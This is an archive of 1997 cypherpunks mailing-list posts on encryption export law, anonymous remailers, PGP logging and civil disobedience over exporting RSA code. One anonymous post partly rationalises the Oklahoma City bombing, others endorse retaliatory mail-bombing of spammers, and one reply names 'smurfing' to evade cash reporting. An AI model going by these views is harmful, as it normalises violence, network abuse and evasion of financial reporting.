Will the nets split these businesses up into individual
venture-advice-consultants competing for investors?  Or will the 
lead to broader coordination between venture capital businesses?  
Or both?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 16 May 1997 10:21:38 +0800
To: cypherpunks@toad.com
Subject: MSNBC poll on crypto
Message-ID: <v03007807afa123f9eedd@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Should the United States
       remove restrictions on
       the export of powerful
       encryption technology?

       * 283 responses

       Unequivocally yes (84.1%)

       Yes, but only if law enforcement
       is given the keys to break the
       encryption when necessary.
       (9.9%)

       No, maintain the status quo.
       (1.8%)

       No. In fact, the restrictions
       should be tightened. (4.2%)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 17 May 1997 00:07:09 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <3.0.1.32.19970515220724.005f3528@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>> foreign intelligence agents
>>> myths.  disinformation.

It may be myth now, but we can work to change that!  (:-)

There may not be agents of Non-US Governments running remailers
that we know about yet, but there are intelligent Non-US individuals
running them, and Anarchists in North America, and 
Anarchists outside North America running remailers,
which if you're in the US Government is at least semi-threatening...
And the US Naval Research Labs folks are building Onion Routers,
which are relatively similar to remailers, and they're
Foreign Government Agents from the perspective of non-US cypherpunks.

A more common approach for government agents has been to post
news and send mail from various Internet addresses of convenience;
some of it has certainly been propaganda, and some has been
deliberate false information, as well as some being just
strongly-held beliefs of people I happen to disagree with.

If your remailer system is well-designed, running your mail through
the occasional KGB and CIA remailer is just fine, as long as you
also run it through systems you hope you can trust.  Even at that,
you may trust Alice B. Cypherpunk to run an honest remailer,
knowing that she's got a strong ethical policy against logging,
and not know that the NSA broke into her machine last year
and is been running a wiretap that's "perfectly US-legal" because
she's based in Amsterdam.

>Lucky, since I am considered contemptible by several c'punks, I worry
>about them more than I would about foreign intelligence agents. 
>I have actually considered sending some things through the remailers,
>but I don't trust them -- I don't find cypherpunks any less
>susceptible to ideology than foreign agents... 

Are you aware of any cypherpunks remailers publicizing their log files,
at least beyond their published policies (e.g. the "You SPAM, You Die"
policy that some remailers announce.)  The main events of this type
I know of are Julf Helsingius and maybe one of the Dutch remailers
giving the name of anti-Scientologist to the police when ordered 
by a court, and Julf closed anon.penet.fi after that.
There have been some remailer operators who will help track down hate mail
in response to complaints, and some who will help track down 
high-volume spammers, and they generally make their policies known;
others only do blocking.

Back when I was running a remailer, what I saw from the bouncemail
and the complaints was a certain fraction of attack-mail,
which I dealt with by blocking recipients, a fair bit of spam
such as phone-sex ads to usenet (ignored), a lot of test messages
(sometimes ignored, sometimes diagnosed), and a lot of help requests
with incorrect headers (which I generally tried to reply to,
especially after I'd killed the remailer.)  The only times I 
checked non-bounced mail (other than testing my remailer code)
was to clean out high-volume spam (my remailer was set to shut down
at certain volume levels) and to remove queued mail for people who
complained, (and of course if the spammers had the sense
to encrypt their spam, that wouldn't have shown much either.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 16 May 1997 13:26:24 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Reporting threshold for NY money transfers lowered
Message-ID: <3.0.32.19970515220728.0074f42c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:30 PM 5/15/97 -0700, Steve Schear wrote:
>Smaller operators
>could deposit the funds in their demand deposit accounts or sell to
>Aggregators who would offer to take any CTR related heat.

I believe the term is "smurfing".



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 14:06:49 +0800
To: cypherpunks@toad.com
Subject: Re: Response to "SAFE bill and cutting crypto-deals"
Message-ID: <199705160538.WAA25828@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Date: Thu, 15 May 1997 01:56:20 -0400
> From: Jason Gull <jgull@UMICH.EDU>
> 
>   We already have federal laws
> which make the use of a telephone or the mails to commit a felony into an
> additional offense, so this provision -- quite similar to obstruction of
> evidence, from the look of it -- doesn't seem at odds with precedent.

  Precedent concerns citing the fact that the citizens are already 
getting fucked with a 2" Green Dildo, so therefore there is a 
precedent for them to get fucked with 2" Blue Dildos.

>  Granted,
> there's the danger of the "slippery slope" -- that allowing any
> restrictions on crypto will lead to a gradual encroachment of government
> into other uses of cryptography. 

  I've never seen a 2" Government Dildo that didn't grow in an
expoential manner every time a Congressperson farted.

> However, whether or not it is a good
> idea or not, politics and previosu law seem to firmly support such a
> provision.

  I'll rush right out and inform Che Guava and the Posse Comatose.

  When Dr. Roberts is done helping Kent get the stick out of his
butt, perhaps he can do something about your cataracts.

Del Do






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 13:59:16 +0800
To: cypherpunks@toad.com
Subject: Re: Spam IS Free Speech
Message-ID: <199705160538.WAA25833@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
>  >   Gander. Goose.
> 
> Right.  If I send you a gig, you send me a gig.  If I send you a meg
> you send me a meg.  A few bytes for a few bytes.  Are you following
> what has upset me about this issue, yet?  Like for Like, Goose,
> Gander.  You said it, but you don't mean it.

  Pardon me.
  Gander. Humongous fucking goose.
 
> Right?  You are saying if I send you one message, you have the right
> to mail bomb me?  There's no parity there.

  All's fair in love and Penis War.
  Your argument seems to center around the theme that those who dick
everyone a little have no right to expect to be repaid in lump (pardon
the pun) sum.

  You neglect to point out that those who use technology to send spam
to millions of random addresses go to great pains to prevent those who
receive their crapola from replying to the source of the spam.
  The fact is, anyone who chooses to return their crap in kind has my
personal proxy to send them my share, as well. I am certain that if you
take a poll on this you will find a few million others who will also
give them this proxy.

Penis Warrior






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 06:11:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: <199705152201.XAA02581@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dr Roberts writes:
> Perhaps there is a way to turn the training on the trainers?  Civil
> disobediance is the best way to do this.  Were a relatively small
> number of people, a thousand for instance, to post the "RSA in 3
> lines" code to the world, it would be highly unlikely that anybody at
> all would be prosecuted, 

Many 1000s of people have exported it.  See also Vince Cate's arms
trafficker page.

	http://online.offshore.com.ai/arms-trafficker/

Around 3000 T-shirts were sold also.  Guess there are a fair number of
people practicing civil disobedience in the US as a result.  They're
still selling, see:

	http://www.dcs.ex.ac.uk/~aba/uk-shirt.html

for order info.

While it's probably technically illegal to export, it clearly doesn't
get you in trouble to export it.  Raph Levien sent off a Commodity
Jurisdiction Request together with a sample T-shirt to ask permission
to export the T-shirt under the ITAR regulations.  They did not answer
his request.  I presume that they viewed either a "yes" or a "no" as a
loose for them.  If they say no, they open themselves for mockery in
the press, if they say yes, we progress the situation.  Export on
paper?  Floppy?  Internet?  Bigger programs.

I'd guess the request is now outdated by the token change in export
regulations (in reality mostly a name change) to EAR regulations which
transferred jurisdiction to the commerce department.  It might be
interesting to ask them for permission to export it.  If anyone wants
to do this, I'll supply a sample T-shirt :-)

Looks like the laws may make another token name change again, but
remain the same again, with a SAFE, doubtless with key-escrow bolted
on during the compromise with NSA and LE interests stage of
negotiations.

> particularly if a sizeable number of these people were professors,
> graduate students, professionals at well known companies,
> journalists, politicians?, or otherwise prominent people.  The whole
> situation would be so absurd they would never dare take it to court.

I'd always hoped that someone could make a good PR job of ridiculing
the export regulations with this.  So far it never really got much
further than the NSA/ODTC ignoring the CJR request of Raphs.  Also,
Duncan Frissell caused a bit of a stir at CFP a few years back with
the program on labels which he handed to attenders.  Vince Cate had a
bit of success also.  The shirts have been on French TV, which is
significant also due to French crypto regulations which are worse than
the US regulations.

> The longer somebody waits, the less opportunity they have to tell
> their grandkids "I was the 500th person to publically export RSA
> back in the late 20th century.  The government was actually trying
> to make math illegal!"  Best of all, anybody "fortunate" enough to
> be a U.S. citizen can participate, even if they don't write code
> themselves.

A while back I did a cgi binary which exported the PGP.EXE out of
pgp262i in uuencoded parts, 3 lines at a time.  Came out at 713 parts.
Maybe that would be more symbolic.  People weren't so keen to export
that as they were to export the perl rsa sig.

When I announced the url, people posted "I got no 7, who got the 1st
part?" etc.  See:

	http://www.dcs.ex.ac.uk/~aba/export/

Of course this wasn't my idea, it had been discussed on the list
several times before, I just took advantage of my position outside the
crypto curtain to actually do it.

It's a bit out of date - it's talking about ITAR, that should be EAR
now.

> Having established beyond any doubt that the export of RSA was
> possible without repercussions, the lesson will be driven home by
> group releases of successively longer mathematical works expressed in
> source code.  

I think this has been established.  Vince Cate's exporters page sends
president@whitehouse.gov a protest letter together with the rsa sig.
There is a log of exporters.  Lots of names on it.

> The first release will be the most challenging.  In no time at all
> everybody - including everybody in the government - will find
> themselves accustomed to the idea that laws against mathematics are
> absurd.  (Even Senators will be able to grasp this unchallenging
> concept.)

I think Vince says on his pages that he got a mention on CNN of his
arms trafficker page.  I'd encourage anyone to use the sig, or
t-shirts, mailing labels or the guy with the tattoo of the .sig to
cause all the embarrasment they can for the US government.

> The way to get started is for people to pledge to post "RSA in 3
> lines" if certain conditions are met.  For instance, "I will post 'RSA
> in 3 lines' if 500 people promise to do it as well, among them being
> Michel Foucault, Jacob Bernoulli, and Blaise Pascal."  No risk need be
> taken without allies!

Well, it does seem to me at times that people in the US are being too
timid about the whole situation.  I mean if everyone just openly
ignored the stupid laws, you might think they would go away by
default, just to catch up with reality.  

Much hand-wringing is spent putting no-export warnings on code,
obfuscating the download process to discourage non-US people, and
warning others not to export.

Clearly for the individual there are few ill-effects from exporting
the 3 lines of perl.  (Actually 2 lines now see below).  Probably
nothing much would happen if you personally just uuencoded PGP and
spammed USENET with it.  I mean it would make not one iota of
difference as it's already universally available on ftp sites and web
pages.

Phil Zimmermann and Kelly Goen were hassled over their export, but
it's too late to worry about PGP now.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 16 May 1997 14:02:08 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
Message-ID: <199705160536.XAA21177@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

> Further, a clever little fix is to make one's own remailer site a link in
> the chain. All a snooping subset of remailers can do is trace the message
> back to your own remailers. Obviously, they can't know if the message was
> merely _remailed_ through your site, or _originated_ there. Thus, including
> oneself as a remailer also provides excellent plausible deniability.)

  This is a lame idea with no merit whatsoever.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 16 May 1997 14:35:27 +0800
To: cypherpunks@toad.com
Subject: Re: Just Say "No" to Congress
Message-ID: <199705160607.AAA23128@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:
> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

  Horseshit. That's no different from saying that anyone who
disbelieves in the authority of armed robbers yet gives them
their wallet is a hypocrite.
  Do you actually put any thought into your posts?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 16 May 1997 16:06:44 +0800
To: Thomas Porter <cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
In-Reply-To: <v0300781cafa0ea98034c@[207.94.249.70]>
Message-ID: <v03007824afa1b9519aad@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:07 PM -0700 5/15/97, Thomas Porter wrote:
>At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
>
>>
>>During a hall discussion at CFP, I heard that people at NSA are changing
>>their opinions about the use of strong crypto in the general community.
>>The reason is the threat of InfoWar and the need for strong crypto in
>>general use to secure the US information infrastructure.
>
>...
>How does this strength of encryption compare to whatever might be used to
>"secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
>cracking time?

I believe that the person who made this statement shares the standard
cyperpunk definition of "strong crypto".  I.e. Unbreakable before the heat
death of the universe.

IMHO, this view comes from the fact that most foreign government and
international terrorist communication is already strongly encrypted, so
having strong systems in wider use does very little to reduce NSA's
intelligence gathering abilities.  (See "Secret Power, New Zealand's role
in the international spy network" by Nicky Hager for evidence supporting
this view.)  Since part of NSA's job is to defend the USA against foreign
enemies, this faction has decided that the benefits of widespread strong
crypto outweigh the costs, a very cypherpunk view.

To go even further out on a limb, there may be a NSA faction that worries
about the inevitable weakness that GAK inserts in any crypto system.  NSA
was badly burned by the weaknesses in Clipper.

Tim May wrote:
>Left as an exercise is whether subsequent policy actions by NSA and D.C. in
>general are consistent with this "Crypto Perestroika" (tm).

I am speaking of a faction within NSA.  They may represent the agencies
position and have been shot down by the White House, or they may have lost
within the agency.  We have no way of knowing which.  (Do we?)


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Fri, 16 May 1997 16:29:48 +0800
To: cypherpunks@algebra.com
Subject: PGPMail keets tabs on you!
Message-ID: <337C13AC.6F5C@best.com>
MIME-Version: 1.0
Content-Type: text/plain


... This is from the log file that pgp keeps on my machine,
\WINDOWS\PGPWS_32.LOG.

There appears to be a lot of interesting information here:
 -- I did not encrypt with IDEA only
 -- the recipients of the message I sent are shown along with the public
key IDs
 -- The SIZE of the message!

I have obfuscated some of the details from the actual log.  The "?"s
indicate removed details.

=========== LOG: ============

Passphrase from caller = FALSE |
if (SignIt && IDEAOnly && IDEAPassphrase && IDEAPassphrase[0] != '\0') |
IDEA Passphrase from caller = FALSE |
if (PublicKeyRingName && PublicKeyRingName[0] != '\0') |
PublicKeyRingName string pointer is NULL or
PublicKeyRingName is an empty string.
Using default public keyring name. |
if (PrivateKeyRingName && PrivateKeyRingName[0] != '\0') |
PrivateKeyRingName string pointer is NULL or
PrivateKeyRingName is an empty string.
Using default private keyring name. |
Recipient List: |
Key ID: 0x???????? |
PGP Options String
eat |
Encrypt Buffer
Message |
PGP Options Parm: eat |
MyNameParm:  |
Keyring Name Parm:  |
File name for encrypt, sign, and/or armor:
InputBufferLength = ?????? |
Found without enough validating sigs:1 |
Key for user ID:Remail <???@???.???> |
  Additional ID:Remailer <???@???.???> |
bit size:1024 Key ID:????????created:12/13/1992 |
Warning:  Because this public key is not certified with a trusted
signature, it is not known with high confidence that this public key
actually belongs to:Remail <???@???.???>
Are you sure you want to use this public key? |
User Replied: Yes |
Open Data Out;
Output Buffer |
OutputBufferLength = ?????? |
OutputDataLength = ?????? |
Transport armor file:  |
Kernel return value is: 0 |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 16 May 1997 13:46:00 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.LNX.3.95.970516012132.30930A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 15 May 1997 19:51:28 -0700
From: Lee Tien <tien@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

Thanks to Barry Steinhardt for his comments, especially his saying that:

>The language was an improvement , but it doesn't belong in the bill and we
>are still lobbying to have the criminalization provision removed.
>
>All of us in the cyber liberties community need to watch this legislation
>very carefully. It could easily get much worse as a "compromise" is reached
>with the Administration. In the end,the bill could be laden with amendments
>on issues like key recovery that defeat our purpose of making strong and
>secure encryption generally available.
>
>At some point, we may need to say that no bill is better than a bad bill.

This is a crucial point.  This isn't an exercise in back-patting, in doling
out kudos.  This struggle engages a stubborn and devious foe.

I also thought Michael Sims was on target in pointing out that Safdar's
criticism of Declan were basically arguments from authority.  Speaking only
for myself, it's not enough to look at who's for and who's against.

The Administration likes to say, trust us, we know what's best.  We should
say the emperor has no clothes if it's true.

Some supporters of these bills seem to respond to substantive criticisms
with comments about loyalty or solidarity.  What's wrong with robust, open
debate about substance?

I don't assume that those on the "inside" have better knowledge or
understanding of the law.  If they're going to defend the bills on the
merits, they should explain the merits.

I don't assume that everyone agrees on what the bills should say.  Some
might think that some "willful use of encryption" provision is consistent
with civil liberties.  (Personally, I don't and I'm glad to see Barry feels
the same way.) But my point is, let's be clear whether we're disagreeing
about values or political tactics.  Is a compromise acceptable because, all
things considered, it's the best we can do, or because we actually agree on
the merits?

Finally, I do believe that the insiders better understand the political
need for compromise.  But I'd like to be educated about it.  In particular,
I'd like to understand why the President wouldn't veto any bill he doesn't
completely agree with.  Unless there's something veto-proof out there, or
some other bargaining chip, why wouldn't he veto it?

Lee







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 16 May 1997 08:39:26 +0800
To: cyber@ibpinc.com
Subject: Re: FW: Anonymous Remailers
In-Reply-To: <01BC611B.8CD67F10@pc1901.ibpinc.com>
Message-ID: <m0wSA7k-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


"Roger J. Jones" <cyber@ibpinc.com> writes:

> So, chaining does not seem to be a secure solution.  It just makes
> the process more difficult, but not impossible.

> The non-existance of "agents" who would operate a remailer for
> purposes other than protecting security can not be proven.

Run your own remailer. Tell your friends to run their own remailers.
Use one or more of those somewhere in the chain, then you *know* your
messages are secure. The software can be found at
ftp://ftp.replay.com/pub/replay/pub/remailer

> I still seem to be missing something.........  

You may want to read the paper "Untraceable Electronic Mail, Return
Addresses, and Digital Pseudonyms" by David Chaum (CACM, 2/1981).
It is available at http://world.std.com/~franl/crypto/chaum-acm-1981.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stokely Boast <stokely@beacondesign.com>
Date: Fri, 16 May 1997 14:20:50 +0800
To: Adam Philipp <adam@rosa.com>
Subject: Re: Telnet Anonymous
In-Reply-To: <3.0.1.32.19970512230937.00a871f0@mail.infonex.com>
Message-ID: <Pine.GSO.3.96.970516001835.16182A-100000@shell2.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 12 May 1997, Adam Philipp wrote:

> At 08:34 AM 5/12/97 -0500, harka@nycmetro.com wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >E-Mail...NYM-Servers
> >WWW...Anonymizer
> >Telnet...??
> >
> >How does one telnet anonymously to another system, assuming that
> >one's home system has identd?
> >
> >Thanks already in advance...
> 
> Did you look at getting an anonymous account at cyberpass.net? 
> 
> Try http://www.cyberpass.net
> 
> Note, they tend to be strict about not using it for illegal activity, but
> highly supportive for general anonymous use.
> 
> Then again you could set up some type of applet scheme, but I doubt anyone
> would be willing to keep it active. 
> 

As you say, Cyberpass clearly states that they are strict about not
allowing illegal activities.  They also state that they keep logs of
incoming telnet host information and will turn it over if an account is
used for anything illegal. 

I am not sure what kind of applet scheme you have in mind.

It seems to me that anonymous remailers and anonymous telnet services are
very similar.  The major difference is that latency (natural and
otherwise) can be used in remailers in order to help foil traffic
analysis, but would render an anonymous telnet service useless. 

With sufficient bandwidth an anonymous telnet service could chop up
packets and send them through other services in order to further obscure
the matter.  Something like what Mix does?

Has this been discussed on the list before, and if so, is anyone working
on something like this?

Perhaps the best that could be done at this point would be more along the
lines of obscurity than of anonymity.  

-------------------------------------------------------------------------
Stokely Boast                                    stokely@beacondesign.com
Client/Server and RDBMS Consulting                Beacon Design Group Inc
PGP Id/Print: 5FD48D11 / B2 49 6C 7D 18 AC CA FB  0E 17 E5 97 6C 11 6C E7
-------------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 17:38:16 +0800
To: cypherpunks@toad.com
Subject: TEXTO - Text steganography
Message-ID: <199705160908.CAA03291@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


------------------------------------
   TEXTO - Text steganography
------------------------------------

   Texto is a rudimentary text steganography program which transforms
uuencoded or pgp ascii-armoured ascii data into English sentences.

   Texto text files look like something between mad libs and bad poetry,
(although they do sometimes contain deep cosmic truths) and should be
close
enough to normal english to get past simple-minded mail scanners and to
entertain readers of talk.bizarre.
-------------

  Perhaphs this explains why, when I tried it, it signed Paul Bradley's
name to the output.

_Mr._ Nobody to _you_, pal.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 16 May 1997 16:58:02 +0800
To: cypherpunks@toad.com
Subject: Re: I Treat All My Enemies Equally
Message-ID: <199705160833.CAA27181@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc, taking on the million monkeys repeatedly typing,
"Is too!"--"Is Not!", wrote:
 
>  I was thinking about those who have expressed a lack of concern for
> the unfortunate mixture of the guilty & innocent in a close encounter with
> a destructive device.   I was thinking that people who  aren't careful
> about such differences make of themselves an enemy to all, because who can
> tell what they're supporting and whose lives they really value, since
> anyone at all could become their victim.

  What I see being expressed is not so much a lack of concern for
those caught up unwittingly in the war between the government and
its citizens as it is a debate over the comparative level of guilt
or responsibility that the warring factions should bear for the
end results of their actions.
  There has also been some debate as to the right of an individual
to make decisions which will affect the lives of those who will be
involved only by happenstance.

  Blanc brings up an excellent point; namely, that those who choose
to take drastic action risk striking out randomly and maliciously at
everybody if they do not consider the nature of their target and
the amount of risk to peripheral participants in the event.
  From all accounts, McVeigh's actions were purposeful and directed
at a target which he deemed suited to his purpose. Whether one
agrees or disagrees with the perceived "innocent" body count will
probably play a large amount in their support or non-support of
his actions.

>  The fact of the matter is that those in the
> middle must find a way to protect themselves from whatever weapon or
> vehicle of destruction comes around, whatever its source.

  This is the way it is in all conflicts. Part of the current reason
for the widespread disillusionment with government and the resulting
animosity towards our rulers is the fact that those in the middle of
the government's war on freedom and privacy don't see themselves as
being involved in a war until it affects them personally.
  When those in the middle have their lives affected by those who
take countermeasures against the government, then their view of his
actions will be affected by whether or not they have had their car
confiscated for possession of a single joint, or whether or not they
are facing imprisonment for plugging a parking meter.
  Some of those who lost loved ones in the OKC bombing are involved
in fighting the government to have a *real* investigation into what
happened. No doubt some of them will come out of the whole process
with much more disgust for the government than for McVeigh.

> So, for instance, if Whitfield Diffie and PhilZ were walking into a Federal
> building in OK City, and I saw some cypherpunk not too far away getting
> ready to blow it up, well, I guess I'd have to kill him.   (Dirty Harry
> saying:  "feel lucky today, cpunk?").

  It's good to see that you've given this some thought. It is important
to personalize one's thoughts and actions in order to keep from getting
caught up in the mass-hysteria that surrounds such issues.
  History has recorded many instances of people who had to decide if
they
could attack a building that contained friends, compatriots, or loved
ones in furtherance of their purpose. (Or make the decision to place
themself inside an area targeted by their own cause.)
  While I would defend McVeigh from those who dismiss his actions out of
hand, with no thought of the culpability of the government and the
average citizen, I downloaded pictures of some of the children who were
maimed by the OKC bombing and I use them to avoid forgetting that there
is personal tragedy involved in such an action.

  The fact remains that the more the government violates the freedom
and privacy of their citizens, then the more the citizens will strike
back in their own chosen way.
  The final tragedy of the OKC bombing is the lack of reckoning demanded
by the citizens of their government for the growing disdain of the
rights
of the citizens that has led to so many feeling disenfranchised by their
rulers.
  Nobody is voting for disenfranchisement; nobody is voting to have
their
privacy invaded and their freedom violated; nobody is voting to have the
government take their money and enrich those in power. Yet still, the
onslaught of government control and intrusion into every area of our
lives continues.

  Blanc makes some excellent points about the average citizen being
caught in a ping-pong crossfire in the conflict between government
and anti-government forces. However, as I said, this is in the nature
of conflict and the citizen's best option may be to make a daily 
effort to resist the government oppression, no matter how small it
may seem in any instance.
  To borrow an analogy from another thread, if the government spams
enough cypherpunks with a few Kilobytes here and there, they will
eventually raise the ire of a Rick Osborne enough that he will
send them back a few Gigabytes in return. And if Ross Wright's
computer gets caught in the crossfire...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 15:06:38 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
Message-ID: <199705160648.CAA28895@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

> Lucky, since I am considered contemptible by several c'punks, I worry
> about them more than I would about foreign intelligence agents.

  Not contemptible, just an easy target to be used for sighting
one's scope in preparation for attending to more sophisticated
targets.
  I find many of your canned-brain arguments hilarious but they
do seem useful for fodder for aspiring anarchists to use as a
foil for their development.

Anonymous Coward (Noel's older brother.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 16 May 1997 17:35:55 +0800
To: TruthMonger <cypherpunks@toad.com
Subject: Re: I Treat All My Enemies Equally
In-Reply-To: <199705160833.CAA27181@wombat.sk.sympatico.ca>
Message-ID: <3.0.1.32.19970516050700.00a6a100@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone anonymous, claiming to be TruthMonger, wrote:

>To borrow an analogy from another thread, if the government spams
>enough cypherpunks with a few Kilobytes here and there, they will
>eventually raise the ire of a Rick Osborne enough that he will
>send them back a few Gigabytes in return. And if Ross Wright's
>computer gets caught in the crossfire...

Now, if you had used anyone but Ross in that example, I might have agreed
with your point.  ;)  [[[ Seriously though, before it begins to seem as
thought I have a personal vendetta against Mr Wright, I shall put it to
rest with an emphatic *I do not*.  I like to think I'm mature enough to
separate my opionion of a person from my opinion of their opinions. ]]]

TruthMonger does bring up a good point, though, again proving that I am
indeed a self-centered asshole.  In all of the glorious "Go Internet! Down
with the evil spam!" hype lately, I'd forgotten that point A to point B
isn't a straight line.  To send a GB or so across to, for example, Sanford,
it might indeed traipse across Ross' server, for which I'm sure Ross would
curse my name thoroughly.  Hmm... this means I need to figure something
else out ... I really should go and cancel that pamphlet drop ...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"And my middle name used to be helping people, The 'helping people'
Tick."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 17:41:21 +0800
To: cypherpunks@toad.com
Subject: Essential Legislation Passes!!!
Message-ID: <199705160915.FAA02530@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Subject: Sampler: May 16
  Date: Fri, 16 May 97 00:30:02 PDT
  From: sampler-request@lmboyd.com

 Do your dentures, if any, have your social security
number marked on them? Three states, at last report,
required that by law. Montana, Illinois and Minnesota.

ToothMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 16 May 1997 21:26:23 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
In-Reply-To: <199705160648.CAA28895@dhp.com>
Message-ID: <wDNs7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:

> Kent Crispin wrote:
>
> > Lucky, since I am considered contemptible by several c'punks, I worry
> > about them more than I would about foreign intelligence agents.
>
>   Not contemptible, just an easy target to be used for sighting
> one's scope in preparation for attending to more sophisticated
> targets.
>   I find many of your canned-brain arguments hilarious but they
> do seem useful for fodder for aspiring anarchists to use as a
> foil for their development.

Why care?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 16 May 1997 22:41:58 +0800
To: Lucky Green <cypherpunks@cyberpass.net
Subject: Re: Reporting threshold for NY money transfers lowered
In-Reply-To: <3.0.32.19970515220728.0074f42c@netcom13.netcom.com>
Message-ID: <v03007807afa21aa8f750@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:12 PM -0700 5/15/97, Lucky Green wrote:
